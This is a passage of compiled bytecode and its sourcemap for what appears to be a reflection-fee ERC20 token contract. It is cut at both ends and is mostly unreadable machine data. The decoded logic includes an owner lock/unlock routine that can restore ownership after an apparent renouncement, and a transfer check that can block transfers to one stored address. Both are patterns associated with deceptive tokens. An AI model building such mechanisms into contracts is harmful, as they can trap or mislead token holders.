0080600080614d4d87613ae2565b955095509550955095509550614dab86600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614e4085600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614e8c81615271565b614e968483615416565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614f1887613ae2565b955095509550955095509550614f7687600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061500b86600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506150a083600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061513585600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061518181615271565b61518b8483615416565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b601154601081905550601354601281905550565b6000615239606461522b60105485613b8890919063ffffffff16565b613a1090919063ffffffff16565b9050919050565b600061526a606461525c60125485613b8890919063ffffffff16565b613a1090919063ffffffff16565b9050919050565b600061527b6139e5565b905060006152928284613b8890919063ffffffff16565b90506152e681600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615615411576153cd83600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b61542b82600b54613b3e90919063ffffffff16565b600b8190555061544681600c54613a5a90919063ffffffff16565b600c81905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203acf8672c5d7aba06e36f71933948dcedd6b1bf935071b0faa598da4dc3b435564736f6c634300060c0033
Deployed Bytecode Sourcemap
26281:19071:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34447:98;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;28691:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29891:161;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;31415:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;27242:51;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;28968:95;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;30060:716;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;32339:253;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;28877:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;33055:479;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;30784:218;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;27053:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;31510:377;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;34202:111;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;31895:436;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;27300:38;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;27414:40;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;32600:447;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;38344:123;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;27140:33;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;29071:198;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;16373:148;;;;;;;;;;;;;:::i;:::-;;27467:43;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;31287:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15730:79;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;34557:122;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;17951:109;;;;;;;;;;;;;:::i;:::-;;28782:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31010:269;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;17383:293;;;;;;;;;;;;;:::i;:::-;;29281:93;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;29382:350;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16928:89;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;27351:22;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;18066:113;;;;;;;;;;;;;:::i;:::-;;34860:171;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;17775:27;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;34690:162;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;17093:214;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;29740:143;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;34325:110;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16676:244;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;34447:98;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34531:6:::1;34521:7;:16;;;;34447:98:::0;:::o;28691:83::-;28728:13;28761:5;28754:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28691:83;:::o;29891:161::-;29966:4;29983:39;29992:12;:10;:12::i;:::-;30006:7;30015:6;29983:8;:39::i;:::-;30040:4;30033:11;;29891:161;;;;:::o;31415:87::-;31457:7;31484:10;;31477:17;;31415:87;:::o;27242:51::-;;;:::o;28968:95::-;29021:7;29048;;29041:14;;28968:95;:::o;30060:716::-;30158:4;30189;30178:15;;:7;;;;;;;;;;;:15;;;30175:594;;;30227:1;30209:20;;:6;:20;;;;:45;;;;;30252:1;30233:21;;:7;;;;;;;;;;;:21;;;30209:45;30206:132;;;30266:9;30256:7;;:19;;;;;;;;;;;;;;;;;;30206:132;;;30312:7;;;;;;;;;;;30299:20;;:9;:20;;;;30291:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30206:132;30349:36;30359:6;30367:9;30378:6;30349:9;:36::i;:::-;30396:121;30405:6;30413:12;:10;:12::i;:::-;30427:89;30465:6;30427:89;;;;;;;;;;;;;;;;;:11;:19;30439:6;30427:19;;;;;;;;;;;;;;;:33;30447:12;:10;:12::i;:::-;30427:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;30396:8;:121::i;:::-;30535:4;30528:11;;;;30175:594;30577:36;30587:6;30595:9;30606:6;30577:9;:36::i;:::-;30624:121;30633:6;30641:12;:10;:12::i;:::-;30655:89;30693:6;30655:89;;;;;;;;;;;;;;;;;:11;:19;30667:6;30655:19;;;;;;;;;;;;;;;:33;30675:12;:10;:12::i;:::-;30655:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;30624:8;:121::i;:::-;30763:4;30756:11;;30060:716;;;;;;:::o;32339:253::-;32405:7;32444;;32433;:18;;32425:73;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32509:19;32532:10;:8;:10::i;:::-;32509:33;;32560:24;32572:11;32560:7;:11;;:24;;;;:::i;:::-;32553:31;;;32339:253;;;:::o;28877:83::-;28918:5;28943:9;;;;;;;;;;;28936:16;;28877:83;:::o;33055:479::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33137:11:::1;:20;33149:7;33137:20;;;;;;;;;;;;;;;;;;;;;;;;;33129:60;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;33205:9;33200:327;33224:9;:16;;;;33220:1;:20;33200:327;;;33282:7;33266:23;;:9;33276:1;33266:12;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;33262:254;;;33325:9;33354:1;33335:9;:16;;;;:20;33325:31;;;;;;;;;;;;;;;;;;;;;;;;;33310:9;33320:1;33310:12;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;33394:1;33375:7;:16;33383:7;33375:16;;;;;;;;;;;;;;;:20;;;;33437:5;33414:11;:20;33426:7;33414:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;33461:9;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33495:5;;33262:254;33242:3;;;;;;;33200:327;;;;33055:479:::0;:::o;30784:218::-;30872:4;30889:83;30898:12;:10;:12::i;:::-;30912:7;30921:50;30960:10;30921:11;:25;30933:12;:10;:12::i;:::-;30921:25;;;;;;;;;;;;;;;:34;30947:7;30921:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;30889:8;:83::i;:::-;30990:4;30983:11;;30784:218;;;;:::o;27053:26::-;;;;:::o;31510:377::-;31562:14;31579:12;:10;:12::i;:::-;31562:29;;31611:11;:19;31623:6;31611:19;;;;;;;;;;;;;;;;;;;;;;;;;31610:20;31602:77;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31691:15;31715:19;31726:7;31715:10;:19::i;:::-;31690:44;;;;;;;31763:28;31783:7;31763;:15;31771:6;31763:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;31745:7;:15;31753:6;31745:15;;;;;;;;;;;;;;;:46;;;;31812:20;31824:7;31812;;:11;;:20;;;;:::i;:::-;31802:7;:30;;;;31856:23;31871:7;31856:10;;:14;;:23;;;;:::i;:::-;31843:10;:36;;;;31510:377;;;:::o;34202:111::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34301:4:::1;34271:18;:27;34290:7;34271:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;34202:111:::0;:::o;31895:436::-;31985:7;32024;;32013;:18;;32005:62;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32083:17;32078:246;;32118:15;32142:19;32153:7;32142:10;:19::i;:::-;32117:44;;;;;;;32183:7;32176:14;;;;;32078:246;32225:23;32256:19;32267:7;32256:10;:19::i;:::-;32223:52;;;;;;;32297:15;32290:22;;;31895:436;;;;;:::o;27300:38::-;;;:::o;27414:40::-;;;;;;;;;;;;;:::o;32600:447::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32797:11:::1;:20;32809:7;32797:20;;;;;;;;;;;;;;;;;;;;;;;;;32796:21;32788:61;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;32882:1;32863:7;:16;32871:7;32863:16;;;;;;;;;;;;;;;;:20;32860:108;;;32919:37;32939:7;:16;32947:7;32939:16;;;;;;;;;;;;;;;;32919:19;:37::i;:::-;32900:7;:16;32908:7;32900:16;;;;;;;;;;;;;;;:56;;;;32860:108;33001:4;32978:11;:20;32990:7;32978:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;33016:9;33031:7;33016:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32600:447:::0;:::o;38344:123::-;38408:4;38432:18;:27;38451:7;38432:27;;;;;;;;;;;;;;;;;;;;;;;;;38425:34;;38344:123;;;:::o;27140:33::-;;;;:::o;29071:198::-;29137:7;29161:11;:20;29173:7;29161:20;;;;;;;;;;;;;;;;;;;;;;;;;29157:49;;;29190:7;:16;29198:7;29190:16;;;;;;;;;;;;;;;;29183:23;;;;29157:49;29224:37;29244:7;:16;29252:7;29244:16;;;;;;;;;;;;;;;;29224:19;:37::i;:::-;29217:44;;29071:198;;;;:::o;16373:148::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16480:1:::1;16443:40;;16464:6;::::0;::::1;;;;;;;;16443:40;;;;;;;;;;;;16511:1;16494:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;16373:148::o:0;27467:43::-;;;;:::o;31287:120::-;31355:4;31379:11;:20;31391:7;31379:20;;;;;;;;;;;;;;;;;;;;;;;;;31372:27;;31287:120;;;:::o;15730:79::-;15768:7;15795:6;;;;;;;;;;;15788:13;;15730:79;:::o;34557:122::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34659:12:::1;34643:13;:28;;;;34557:122:::0;:::o;17951:109::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17853:7:::1;;;;;;;;;;;17852:8;17844:17;;;::::0;::::1;;18023:4:::2;18013:7;;:14;;;;;;;;;;;;;;;;;;18039:15;;;;;;;;;;17951:109::o:0;28782:87::-;28821:13;28854:7;28847:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28782:87;:::o;31010:269::-;31103:4;31120:129;31129:12;:10;:12::i;:::-;31143:7;31152:96;31191:15;31152:96;;;;;;;;;;;;;;;;;:11;:25;31164:12;:10;:12::i;:::-;31152:25;;;;;;;;;;;;;;;:34;31178:7;31152:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;31120:8;:129::i;:::-;31267:4;31260:11;;31010:269;;;;:::o;17383:293::-;17453:10;17435:28;;:14;;;;;;;;;;;:28;;;17427:76;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17528:9;;17522:3;:15;17514:60;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17619:14;;;;;;;;;;;17590:44;;17611:6;;;;;;;;;;17590:44;;;;;;;;;;;;17654:14;;;;;;;;;;;17645:6;;:23;;;;;;;;;;;;;;;;;;17383:293::o;29281:93::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29358:8:::1;29348:7;;:18;;;;;;;;;;;;;;;;;;29281:93:::0;:::o;29382:350::-;29460:4;29491;29480:15;;:7;;;;;;;;;;;:15;;;29477:248;;;29529:7;;;;;;;;;;;29516:20;;:9;:20;;;;29508:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29566:42;29576:12;:10;:12::i;:::-;29590:9;29601:6;29566:9;:42::i;:::-;29626:4;29619:11;;;;29477:248;29659:42;29669:12;:10;:12::i;:::-;29683:9;29694:6;29659:9;:42::i;:::-;29719:4;29712:11;;29382:350;;;;;:::o;16928:89::-;16973:7;17000:9;;16993:16;;16928:89;:::o;27351:22::-;;;;;;;;;;;;;:::o;18066:113::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17923:7:::1;;;;;;;;;;;17915:16;;;::::0;::::1;;18140:5:::2;18130:7;;:15;;;;;;;;;;;;;;;;;;18157:16;;;;;;;;;;18066:113::o:0;34860:171::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34961:8:::1;34937:21;;:32;;;;;;;;;;;;;;;;;;34985:38;35014:8;34985:38;;;;;;;;;;;;;;;;;;;;34860:171:::0;:::o;17775:27::-;;;;;;;;;;;;;:::o;34690:162::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34784:60:::1;34828:5;34784:25;34796:12;34784:7;;:11;;:25;;;;:::i;:::-;:29;;:60;;;;:::i;:::-;34769:12;:75;;;;34690:162:::0;:::o;17093:214::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17174:6:::1;::::0;::::1;;;;;;;;17157:14;;:23;;;;;;;;;;;;;;;;;;17208:1;17191:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;17239:4;17233:3;:10;17221:9;:22;;;;17296:1;17259:40;;17280:6;::::0;::::1;;;;;;;;17259:40;;;;;;;;;;;;17093:214:::0;:::o;29740:143::-;29821:7;29848:11;:18;29860:5;29848:18;;;;;;;;;;;;;;;:27;29867:7;29848:27;;;;;;;;;;;;;;;;29841:34;;29740:143;;;;:::o;34325:110::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34422:5:::1;34392:18;:27;34411:7;34392:27;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;34325:110:::0;:::o;16676:244::-;15952:12;:10;:12::i;:::-;15942:22;;:6;;;;;;;;;;:22;;;15934:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16785:1:::1;16765:22;;:8;:22;;;;16757:73;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16875:8;16846:38;;16867:6;::::0;::::1;;;;;;;;16846:38;;;;;;;;;;;;16904:8;16895:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;16676:244:::0;:::o;8138:106::-;8191:15;8226:10;8219:17;;8138:106;:::o;38475:337::-;38585:1;38568:19;;:5;:19;;;;38560:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;38666:1;38647:21;;:7;:21;;;;38639:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;38750:6;38720:11;:18;38732:5;38720:18;;;;;;;;;;;;;;;:27;38739:7;38720:27;;;;;;;;;;;;;;;:36;;;;38788:7;38772:32;;38781:5;38772:32;;;38797:6;38772:32;;;;;;;;;;;;;;;;;;38475:337;;;:::o;38820:1813::-;38958:1;38942:18;;:4;:18;;;;38934:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39035:1;39021:16;;:2;:16;;;;39013:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39105:1;39096:6;:10;39088:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39174:7;:5;:7::i;:::-;39166:15;;:4;:15;;;;:32;;;;;39191:7;:5;:7::i;:::-;39185:13;;:2;:13;;;;39166:32;39163:125;;;39231:12;;39221:6;:22;;39213:75;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39163:125;39583:28;39614:24;39632:4;39614:9;:24::i;:::-;39583:55;;39686:12;;39662:20;:36;39659:112;;39747:12;;39724:35;;39659:112;39791:24;39842:29;;39818:20;:53;;39791:80;;39900:19;:53;;;;;39937:16;;;;;;;;;;39936:17;39900:53;:91;;;;;39978:13;39970:21;;:4;:21;;;;39900:91;:129;;;;;40008:21;;;;;;;;;;;39900:129;39882:318;;;40079:29;;40056:52;;40152:36;40167:20;40152:14;:36::i;:::-;39882:318;40281:12;40296:4;40281:19;;40408:18;:24;40427:4;40408:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;40436:18;:22;40455:2;40436:22;;;;;;;;;;;;;;;;;;;;;;;;;40408:50;40405:96;;;40484:5;40474:15;;40405:96;40587:38;40602:4;40607:2;40610:6;40617:7;40587:14;:38::i;:::-;38820:1813;;;;;;:::o;4548:192::-;4634:7;4667:1;4662;:6;;4670:12;4654:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4694:9;4710:1;4706;:5;4694:17;;4731:1;4724:8;;;4548:192;;;;;:::o;36494:163::-;36535:7;36556:15;36573;36592:19;:17;:19::i;:::-;36555:56;;;;36629:20;36641:7;36629;:11;;:20;;;;:::i;:::-;36622:27;;;;36494:163;:::o;5946:132::-;6004:7;6031:39;6035:1;6038;6031:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;6024:46;;5946:132;;;;:::o;3645:181::-;3703:7;3723:9;3739:1;3735;:5;3723:17;;3764:1;3759;:6;;3751:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3817:1;3810:8;;;3645:181;;;;:::o;35292:419::-;35351:7;35360;35369;35378;35387;35396;35417:23;35442:12;35456:18;35478:20;35490:7;35478:11;:20::i;:::-;35416:82;;;;;;35510:15;35527:23;35552:12;35568:50;35580:7;35589:4;35595:10;35607;:8;:10::i;:::-;35568:11;:50::i;:::-;35509:109;;;;;;35637:7;35646:15;35663:4;35669:15;35686:4;35692:10;35629:74;;;;;;;;;;;;;;;;;;35292:419;;;;;;;:::o;4109:136::-;4167:7;4194:43;4198:1;4201;4194:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;4187:50;;4109:136;;;;:::o;4999:471::-;5057:7;5307:1;5302;:6;5298:47;;;5332:1;5325:8;;;;5298:47;5357:9;5373:1;5369;:5;5357:17;;5402:1;5397;5393;:5;;;;;;:10;5385:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5461:1;5454:8;;;4999:471;;;;;:::o;40641:985::-;27904:4;27885:16;;:23;;;;;;;;;;;;;;;;;;40777:12:::1;40792:27;40817:1;40792:20;:24;;:27;;;;:::i;:::-;40777:42;;40830:17;40850:30;40875:4;40850:20;:24;;:30;;;;:::i;:::-;40830:50;;41158:22;41183:21;41158:46;;41249:22;41266:4;41249:16;:22::i;:::-;41402:18;41423:41;41449:14;41423:21;:25;;:41;;;;:::i;:::-;41402:62;;41514:35;41527:9;41538:10;41514:12;:35::i;:::-;41575:43;41590:4;41596:10;41608:9;41575:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27919:1;;;;27950:4:::0;27931:16;;:23;;;;;;;;;;;;;;;;;;40641:985;:::o;42825:834::-;42936:7;42932:40;;42958:14;:12;:14::i;:::-;42932:40;42997:11;:19;43009:6;42997:19;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;;43021:11;:22;43033:9;43021:22;;;;;;;;;;;;;;;;;;;;;;;;;43020:23;42997:46;42993:597;;;43060:48;43082:6;43090:9;43101:6;43060:21;:48::i;:::-;42993:597;;;43131:11;:19;43143:6;43131:19;;;;;;;;;;;;;;;;;;;;;;;;;43130:20;:46;;;;;43154:11;:22;43166:9;43154:22;;;;;;;;;;;;;;;;;;;;;;;;;43130:46;43126:464;;;43193:46;43213:6;43221:9;43232:6;43193:19;:46::i;:::-;43126:464;;;43262:11;:19;43274:6;43262:19;;;;;;;;;;;;;;;;;;;;;;;;;43261:20;:47;;;;;43286:11;:22;43298:9;43286:22;;;;;;;;;;;;;;;;;;;;;;;;;43285:23;43261:47;43257:333;;;43325:44;43343:6;43351:9;43362:6;43325:17;:44::i;:::-;43257:333;;;43391:11;:19;43403:6;43391:19;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;;43414:11;:22;43426:9;43414:22;;;;;;;;;;;;;;;;;;;;;;;;;43391:45;43387:203;;;43453:48;43475:6;43483:9;43494:6;43453:21;:48::i;:::-;43387:203;;;43534:44;43552:6;43560:9;43571:6;43534:17;:44::i;:::-;43387:203;43257:333;43126:464;42993:597;43614:7;43610:41;;43636:15;:13;:15::i;:::-;43610:41;42825:834;;;;:::o;36665:561::-;36715:7;36724;36744:15;36762:7;;36744:25;;36780:15;36798:7;;36780:25;;36827:9;36822:289;36846:9;:16;;;;36842:1;:20;36822:289;;;36912:7;36888;:21;36896:9;36906:1;36896:12;;;;;;;;;;;;;;;;;;;;;;;;;36888:21;;;;;;;;;;;;;;;;:31;:66;;;;36947:7;36923;:21;36931:9;36941:1;36931:12;;;;;;;;;;;;;;;;;;;;;;;;;36923:21;;;;;;;;;;;;;;;;:31;36888:66;36884:97;;;36964:7;;36973;;36956:25;;;;;;;;;36884:97;37006:34;37018:7;:21;37026:9;37036:1;37026:12;;;;;;;;;;;;;;;;;;;;;;;;;37018:21;;;